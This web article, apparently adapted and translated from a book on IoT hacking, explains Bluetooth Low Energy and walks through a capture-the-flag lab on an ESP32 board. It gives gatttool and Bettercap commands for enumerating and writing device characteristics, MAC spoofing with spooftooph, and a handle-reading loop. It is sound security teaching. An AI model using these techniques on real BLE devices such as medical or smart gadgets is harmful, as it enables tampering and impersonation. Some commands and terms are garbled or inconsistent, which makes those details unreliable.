Part 11. Hacking radio channels. (Bluetooth Low Energy)

13 October 2023 21 minutes Author: Lady Liberty

Bluetooth Low Energy (BLE): Vulnerabilities and Countermeasures

Bluetooth Low Energy (BLE) is a low-power version of IoT devices with Bluetooth wireless technology. And the pairing process is simplified compared to previous versions of Bluetooth. But BLE can also support similar, and sometimes increased communication range. You can find it in all kinds of devices, from common health gadgets like smartwatches or smart water bottles to critical medical equipment like insulin pumps and pacemakers. In industrial settings, this technology is used in sensors, nodes and gateways of all types. BLE is even used in the military, where weapon components such as sights are operated remotely via Bluetooth. Of course, the BLE protocol has already been hacked.

These devices use Bluetooth to take advantage of the simplicity and reliability of this radio protocol, but this increases the device’s attack surface. In this chapter, you’ll learn how BLE communication works, explore common hardware and software for communicating with BLE devices, and learn how to effectively discover and exploit security vulnerabilities. You’ll walk through a lab using an ESP32 breadboard and then complete a step-by-step Capture the Flag (CTF) exercise designed specifically for BLE. By the end of this chapter, you’ll be ready to tackle some of the CTF labs we’ve intentionally left for you.

How BLE works

BLE consumes significantly less power than traditional Bluetooth, but can transmit small amounts of data very efficiently. Compliant with Bluetooth 4.0, BLE uses only 40 channels, covering the range from 2400 MHz to 2483.5 MHz. In contrast, traditional Bluetooth uses 79 channels in the same range.

Although each application uses this technology differently, the most common way BLE devices communicate is by sending an advertisement packet. These packets, also known as beacons, transmit information about the existence of a BLE device to other devices located nearby (Fig. 11.1). These beacons also sometimes send data.

To reduce power consumption, BLE devices only send information packets when they need to connect and exchange data; The rest of the time they are in sleep mode. A listening device, also known as a central device, can respond to the information packet with a SCAN request sent specifically for the active device. The device’s response to the SCAN request has the same structure as the information packet. It contains additional information that could not have been included in the original information package, such as the full name of the device or any additional information added by the device manufacturer.

Figure 11.2 shows the structure of a BLE packet.

The preamble byte synchronizes the frequency, while the four-byte access address is a connection identifier used in scenarios where multiple devices are trying to establish a connection on the same channels. A protocol data unit (PDU) contains an information packet. There are several types of BRZ; The most common are ADV_NONCONN_IND and ADV_IND. Devices use the ADV_NONCONN_IND PDU if they do not accept incoming connections, transmitting data only in the information packet. Devices use ADV_IND if they allow incoming connections and stop sending information packets after a connection is established. Fig. Figure 11.3 shows an ADV_IND packet captured by Wireshark.

The type of packet used depends on the BLE implementation and project requirements. For example, you will find ADV_IND packets in smart IoT devices, such as smart water bottles or smart watches, as they try to connect to a central device before performing further operations. On the other hand, in beacons you can find ADV_NONCONN_IND packets to determine the proximity of an object to sensors installed on various devices.

Sharing Profile and Shared Attributes Profile

All BLE devices have a  common access profile (GAP) that defines how they can connect, communicate with, and make themselves visible over the air. A peripheral can be connected to only one central device, while a central device can connect to as many peripherals as the central device can support. After the connection is established, peripheral devices no longer accept connection requests. For each connection, the peripheral device advertises probes at equal intervals using three different frequencies until the central device responds and the peripheral device acknowledges the response, indicating that it is ready to initiate a connection.

The General Attribute Profile (GATT) defines how a device should format and transmit data. When you analyze the attack surface of a BLE device, you often focus on the GATT because it defines how certain device functions are triggered and how data is stored, grouped, and modified. GATT lists device characteristics, descriptors, and services in a table as either 16-bit or 32-bit values. A characteristic is a data value that is transferred between a central device and a peripheral device. These characteristics can have descriptors that provide additional information about them. Characteristics are often grouped into services if they are related to the performance of a specific action. Services can have several characteristics, as shown in fig. 11.4.

Working with BLE

In this section, we will look at the hardware and software required to interface with BLE devices. We will introduce you to the hardware that can be used to establish BLE connections, as well as the software to communicate with other devices.

BLE hardware required

A wide range of different devices are available to you to work with BLE. For convenient sending and receiving of data, the built-in modules of the laptop or cheap external USB adapters may be enough. But for sniffing and breaking the low-level protocol, you’ll need something more sophisticated and reliable. Prices for these devices vary widely; You can find a list of BLE hardware in the IoT Hacking Tools section.

In this section, we will use the ESP32 WROOM breadboard from Espressif Systems (, which supports Wi-Fi and 2.4GHz BLE protocols (Figure 11.5).

The board has built-in flash memory and can be programmed and powered using a micro-USB cable. It is very compact and affordable, and the range of the antenna is not bad for its size. You can also use this map for other attacks, such as Wi-Fi attacks.


Depending on the device you are using, you may need to install firmware or drivers to properly recognize and control the devices. On Linux, you’ll likely be using BlueZ, the official Bluetooth stack, although there are proprietary adapter drivers from vendors like Broadcom or Realtek. All the tools we’ll cover in this section work with BlueZ out of the box.

If you have problems with BlueZ, please install the latest version available at  (you may have an earlier version pre-installed in your Linux distribution’s package manager).

Configuration of BLE interfaces

Hciconfig is a Linux tool that can be used to configure and test BLE connections. If you run Hciconfig with no arguments, you will see your bluetooth interface. The UP or DOWN state indicates whether the Bluetooth adapter interface is enabled:

# hciconfig
hci0: Type: Primary Bus: USB
 BD Address: 00:1A:7D:DA:71:13 ACL MTU: 310:10 SCO MTU: 64:8
 RX bytes:1280 acl:0 sco:0 events:66 errors:0
 TX bytes:3656 acl:0 sco:0 commands:50 errors:0

If the interface is not displayed, make sure that the drivers are loaded. The kernel module name on Linux systems should be bluetooth. Use the modprobe command to show the module configuration with the -c option:

# modprobe -c bluetooth

You can also try disabling the interface and then enabling it again with the following command:

# hciconfig hci0 down && hciconfig hci0 up

If that didn’t help, try resetting the settings:

# hciconfig hci0 reset

You can also view more information using the -a option:

# hciconfig hci0 -a
hci0: Type: Primary Bus: USB
 BD Address: 00:1A:7D:DA:71:13 ACL MTU: 310:10 SCO MTU: 64:8
 RX bytes:17725 acl:0 sco:0 events:593 errors:0
 TX bytes:805 acl:0 sco:0 commands:72 errors:0
 Features: 0xff 0xff 0x8f 0xfe 0xdb 0xff 0x5b 0x87
 Packet type: DM1 DM3 DM5 DH1 DH3 DH5 HV1 HV2 HV3
 Link mode: SLAVE ACCEPT
 Name: 'CSR8510 A10'
 Class: 0x000000
 Service Classes: Unspecified
 Device Class: Miscellaneous,
 HCI Version: 4.0 (0x6) Revision: 0x22bb
 LMP Version: 4.0 (0x6) Subversion: 0x22bb
 Manufacturer: Cambridge Silicon Radio (10)

Device detection and function numbering

If a BLE-enabled IoT device is not properly secured, you can intercept, analyze, modify, and retransmit its messages to monitor the operation of the device. In general, when evaluating the security of an IoT device using BLE, the following is required:

  1. Find the address of the BLE device.

  2. Scan GATT servers.

  3. Define their functionality using the following characteristics, services, and attributes.

  4. Control your device with read and write.

Let’s take a look at implementing these steps using two tools: GATTTool and Bettercap.


GATTTool is part of BlueZ. You will mainly use it for operations such as establishing a connection to another device, enumerating the characteristics of that device, and reading and writing its attributes. Run GATTTool with no arguments to see a list of supported operations. GATTTool can run an interactive shell with the -I option. The following command sets the interface of the BLE adapter so that you can connect to the device and get a list of its characteristics:

# gatttool -i hci0 -I

In an interactive shell, type connect <mac add ress> to establish a connection; then get a list of characteristics using the Characteristics subcommand:

[ ][LE]> connect 24:62:AB:B1:A8:3E
Attempting to connect to A4:CF:12:6C:B3:76
Connection successful
[A4:CF:12:6C:B3:76][LE]> characteristics
handle: 0x0002, char properties: 0x20, char value handle: 0x0003, uuid:
handle: 0x0015, char properties: 0x02, char value handle: 0x0016, uuid:
handle: 0x0055, char properties: 0x02, char value handle: 0x0056, uuid:
[A4:CF:12:6C:B3:76][LE]> exit

We now have descriptors, values, and services that describe the data and operations supported by a BLE device.

Let’s analyze this information using Bettercap, a more powerful tool that will help us see the information in an easy-to-read format.


To discover BLE-enabled devices, enable the BLE module and start capturing beacons using the ble.recon option. Calling it with the –eval option when loading Bettercap takes the Bettercap commands and executes them automatically when Bettercap is running:

Bettercap  ( is a tool for scanning and attacking devices operating in the 2.4 GHz band. It has an easy-to-use GUI and extensible modules for the most common scanning tasks and BLE attacks, such as listening for information packets and performing read/write operations. Also, you can use it for Wi-Fi, HID and other technologies  (man-in-the-middle or other) attacks.

Bettercap is installed on Kali by default and is available in most Linux package managers. You can install and run it with Docker as follows:

# docker pull bettercap/bettercap
# docker run -it --privileged --net=host bettercap/bettercap -h

To discover BLE-enabled devices, enable the BLE module and start capturing beacons using the ble.recon option. Call it with the –eval option when loading Bettercap with:

# bettercap --eval "ble.recon on"
Bettercap v2.24.1 (built for linux amd64 with go1.11.6) [type 'help' for a
list of commands] > >> [16:25:39] [] new BLE device
BLECTF detected as A4:CF:12:6C:B3:76 -46 dBm > >> [16:25:39] [] new BLE device
BLE_CTF_SCORE detected as 24:62:AB:B1:AB:3E -33 dBm > >> [16:25:39] [] new BLE device
detected as 48:1A:76:61:57:BA (Apple, Inc.) -69 dBm

You should see a line for each BLE advertisement packet received. This information contains the device name and MAC address, which you will need to communicate with the devices. If you run Bettercap with the eval option, you can automatically record all detected devices. Then, with the command, you can easily display a list of detected devices and related information: their MAC addresses, providers, and flags (Fig. 11.6).


Note that the output of the command contains the signal strength (RSSI), the MAC address we will use to connect to the device, the manufacturer name, which may give a hint about the type of device we need. The data also includes the combination of supported protocols, connection status, and the timestamp of the last received beacon.

Get a list of features, services and nicknames

Once we have determined the MAC address of the target device, we can run the following Bettercap command. It outputs a nice, formatted table with characteristics grouped by services, their properties, and the data available through GATT:

>> ble.enum <mac addr>

Figure 11.7 shows the resulting table.

In the “Data” column,  you can see that this GATT server is a CTF dashboard with various information such as instructions for sending responses.

This is a fun way to learn attacks in practice. But before we jump into implementing one of these, let’s make sure you know how to do classic reads and writes. You will use them to find and record data that changes the state of the device. The WRITE property is highlighted when descriptors indicate that the operation is allowed; Pay close attention to your device’s settings, as they are often incorrect.

Characteristics of reading and writing

In BLE, a UUID uniquely identifies features, services, and attributes. Knowing the UUID of the feature, you can write data to it using the Bettercap ble.write command:

>> ble.write <MAC ADDR> <UUID> <HEX DATA>

All data sent must be in hexadecimal format. For example, to send the word “hello” to a feature with UUID ff06, you would enter the following command in the Bettercap shell:

>> ble.write <mac address of device> ff06 68656c6c6f

You can also use GATTTool to read and write data. GATTTool provides support for additional input formats to specify handlers or UUIDs. For example, to run the write command with the power of GATTTool instead of Bettercap, type:

# gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --charwritereq <characteristic handle> <value>

Let’s practice reading data with GATTTool. Extract the device name from the handle at address 0x16 (it is reserved by the protocol as a device name).

# gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --charread
-a 0x16
# gatttool -b a4:cf:12:6c:b3:76 --char-read -a 0x16
Characteristic value/descriptor: 32 62 30 30 30 34 32 66 37 34 38 31 63 37 62
30 35 36 63 34 62 34 31 30 64 32 38 66 33 33 63 66

You can now find devices, list specifications, and read and write data to try to change the device’s functionality. You are ready to start hacking BLE.

Hacking BLE

In this section, we’ll look at a CTF designed to help you practice BLE hacking – the BLE CTF Infinity Project (https:// Using CTF requires both basic and advanced skills. This CTF runs on the ESP32 WROOM board.

We will use Bettercap and GATTTool alternately because sometimes one tool is better than the other when it comes to solving certain problems. Solving hands-on problems with this CTF will teach you how to explore unknown devices, discover functionality, and manage the states of those devices. Before proceeding, make sure you have set up your ESP32 development environment and toolkit as described at Most operations will be performed as described in the documentation; Some nuances will be noted below.

BLE CTF Infinity setup

To build the BLE CTF Infinity, we recommend using Linux, as the makefile does some additional copying of the source code (you can use the CMakeLists.txt file if you prefer to compile in a Windows environment). The file required for compilation is included in the file

Also, it is important to note that this book is available at

To successfully compile the tool, you must do the following.

  1. Create an empty folder named main in the root of the project.

  2. In the make command, make sure your device is configured, bluetooth is enabled, and the compiler warnings are not indicating errors. Again, you can find the sdkconfig file for the build in the online resources that accompany the book.

  3. In run the make codegen command to run a Python script that, among other things, copies the source files to the root folder.

  4. Link the file main/flag_scoreboard.c and change the value of the variable string_total_flags [] from 0 to 00.

Run the make command to build the CTF and make flash to write the firmware to the board. When the process is complete, CTF will start automatically.

After running CTF, you should see the beacons available when scanning. Another option is to access the assigned serial port (default bitrate 115200) and check the debug data.

I (1059) BLE_CTF: create attribute table successfully, the number handle = 31
I (1059) BLE_CTF: SERVICE_START_EVT, status 0, service_handle 40
I (1069) BLE_CTF: advertising start successfully

Let’s get to work

Look for a scoreboard that shows a handle for sending flags, a handle for navigating tasks, and another handle for resetting the CTF. Next, get a list of characteristics using the tool you prefer (Figure 11.8).

Descriptor 0030  allows you to navigate through tasks. Using Bettercap, write the value 0001 to this handle to go to flag number 1:

>> ble.write a4:cf:12:6c:b3:76 ff02 0001

To do the same with GATTTool, use the following command:

# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x0030 -n 0001

After you have recorded the characteristic, the beacon name will indicate that you are seeing the GATT server for flag #1. For example, Bettercap will show something like this:

[] new BLE device FLAG_01 detected as A4:CF:12:6C:B3:76 -42 dBm

This is a display of a new GATT table, one for each task. Now that you’ve covered the basic navigation, let’s get back to the main table:

[a4:cf:12:6c:b3:76][LE]> char-write-req 0x002e 0x1

Let’s start with flag #0. Go to it by writing the value 0000 to the 0x0030 handle:

# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x0030 -n 0000

Interestingly, task 0 looks like nothing more than a GATT source server displaying a table (Figure 11.9). Did we miss something?

If you look closely, the device name 04dc54d9053b4307680a looks a lot like a flag, doesn’t it? Let’s test this by sending the device name as a response to the 002e descriptor. Note: If you are using GATTTool, you will need to format it in hex:

# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n
"04dc54d9053b4307680a"|xxd -ps)
Characteristic value was written successfully

When you look at the table, you can see that the command has been run because the 0 flag shows as complete. You solved the first problem. Congratulations!

Flag 1. Study of characteristics and descriptors

Now we go to FLAG_01 using the command:

# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x0030 -n 0000

Here we will start again by studying the GATT table. Let’s try using GATTTool to list the characteristics and descriptors:

# gatttool -b a4:cf:12:6c:b3:76 -I
 [a4:cf:12:6c:b3:76][LE]> connect
Bluetooth Low Energy (BLE)  327
Attempting to connect to a4:cf:12:6c:b3:76
Connection successful
[a4:cf:12:6c:b3:76][LE]> primary
attr handle: 0x0001, end grp handle: 0x0005 uuid:
attr handle: 0x0014, end grp handle: 0x001c uuid:
attr handle: 0x0028, end grp handle: 0xffff uuid: 000000ff-0000-1000-8000-
write-req characteristics
[a4:cf:12:6c:b3:76][LE]> char-read-hnd 0x0001
Characteristic value/descriptor: 01 18
[a4:cf:12:6c:b3:76][LE]> char-read-hnd 0x0014
Characteristic value/descriptor: 00 18
[a4:cf:12:6c:b3:76][LE]> char-read-hnd 0x0028
Characteristic value/descriptor: ff 00
 [a4:cf:12:6c:b3:76][LE]> char-desc
handle: 0x0001, uuid: 00002800-0000-1000-8000-00805f9b34fb
handle: 0x002e, uuid: 0000ff03-0000-1000-8000-00805f9b34fb

After examining each descriptor, we find the 0x002c descriptor, which looks like a flag. To read the value of a handle, we can use the char-read-hnd <handle> command, for example:

[a4:cf:12:6c:b3:76][LE]> char-read-hnd 0x002c
Characteristic value/descriptor: 38 37 33 63 36 34 39 35 65 34 65 37 33 38 63
39 34 65 31 63

Remember that the output data is in hexadecimal format, so it corresponds to the ASCII text 873c6495e4e738c94e1c. We found the flag! Return to the main table and submit a new flag as you did earlier with flag 0:

# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n
"873c6495e4e738c94e1c"|xxd -ps)
Characteristic value was written successfully

We could also use bash to  automate the detection of this flag. In this case, we would iterate through the handlers to read the value of each handler. It would be easy to rewrite the following script into a simple fuser that writes values instead of performing a –char-read operation:

for i in {1..46}
 VARX=`printf '%04x\n' $i`
 echo "Reading handle: $VARX"
 gatttool -b a4:cf:12:6c:b3:76 --char-read -a 0x$VARX
 sleep 5

When we run the script, we need to get information from the descriptors:

Reading handle: 0001
Characteristic value/descriptor: 01 18
Reading handle: 0002
Characteristic value/descriptor: 20 03 00 05 2a
Reading handle: 002e
Characteristic value/descriptor: 77 72 69 74 65 20 68 65 72 65 20 74 6f 20 67
6f 74 6f 20 74 6f 20 73 63 6f 72 65 62 6f 61 72 64

Flag 2. Authentication

When you look at the FLAG_02 GATT table, the 0x002c descriptor should have the message “Insufficient authentication” and the message “Connect to pin 0000” on the 0x002a handle (Figure 11.10). This task simulates a weak contact device used for authentication.

The prompt implies that we need to establish a secure connection to read the secure handle 0x002c. To do this, we use GATTTool with the –sec-level = high option, which sets the connection security level high and establishes an authenticated encrypted connection (AESCMAC or ECDHE) before reading the value:

# gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c
Characteristic value/descriptor: 35 64 36 39 36 63 64 66 35 33 61 39 31 36 63
30 61 39 38 64

That’s cool! This time, after converting from hex to ASCII, instead of the “Insufficient authentication” message, we get the 5d696cdf53a916c0a98d flag. Go back to the main table and load it as shown earlier:

# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n
"5d696cdf53a916c0a98d"|xxd -ps)
Characteristic value was written successfully

As you can see, the flag is correct! We solved problem No. 2.

Flag 3. Changing your MAC address

Go to FLAG_03 and get a list of services and features on the GATT server. In line 0x002a there is a message “Connect to mac 11:22:33:44:55:66” (Fig. 11.11). Now we face the task of learning to spoof the original MAC address of the connection in order to read the handle.

This means we have to spoof the real Bluetooth MAC address to get the flag. It is possible to use Hciconfig to run commands that will change your MAC, but the spooftooph Linux utility is much easier to use because it doesn’t require you to send raw commands. Install the utility using your favorite package manager and run the following command to replace the MAC address with the address specified in the message:

# spooftooph -i hci0 -a 11:22:33:44:55:66
Manufacturer: Cambridge Silicon Radio (10)
Device address: 00:1A:7D:DA:71:13
New BD address: 11:22:33:44:55:66
Address changed

Check your new spoofed MAC address with hciconfig:

# hciconfig
hci0: Type: Primary Bus: USB
 BD Address: 11:22:33:44:55:66 ACL MTU: 310:10 SCO MTU: 64:8
 RX bytes:682 acl:0 sco:0 events:48 errors:0
 TX bytes:3408 acl:0 sco:0 commands:48 errors:0

Use the Bettercap ble.enum command to look again at the GATT server for this task. This time, a new flag should appear in line 0x002c (fig. 11.12).

Go back to the main table and submit a new flag:

# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n
"0ad3f30c58e0a47b8afb"|xxd -ps)
Characteristic value was written successfully

Then we check the table to see the updated result (Fig. 11.13).


We hope that after this brief discussion of BLE attacks, you have been inspired to challenge CTF further. They represent real-world challenges you’ll have to deal with every day when evaluating BLE-enabled devices. We’ve covered the basics and some of the most popular attacks, but keep in mind that you can perform other attacks, such as man-in-the-middle attacks, if the device isn’t using a secure connection.

Currently, there are many specific vulnerabilities known for each new application or protocol that uses BLE, and there is a chance that a programmer made a mistake that led to a security flaw in their implementation. Although the new version of Bluetooth (5.0) is now available, its adoption has been slow, so you will see many more BLE devices in the coming years.

We used materials from the book “The Definitive Guide to Attacking the Internet of Things” written by Photios Chantsis, Ioannis Stais,
Paulino Calderon, Evangelos Deirmentsoglu and Beau Woods.

Other related articles
Found an error?
If you find an error, take a screenshot and send it to the bot.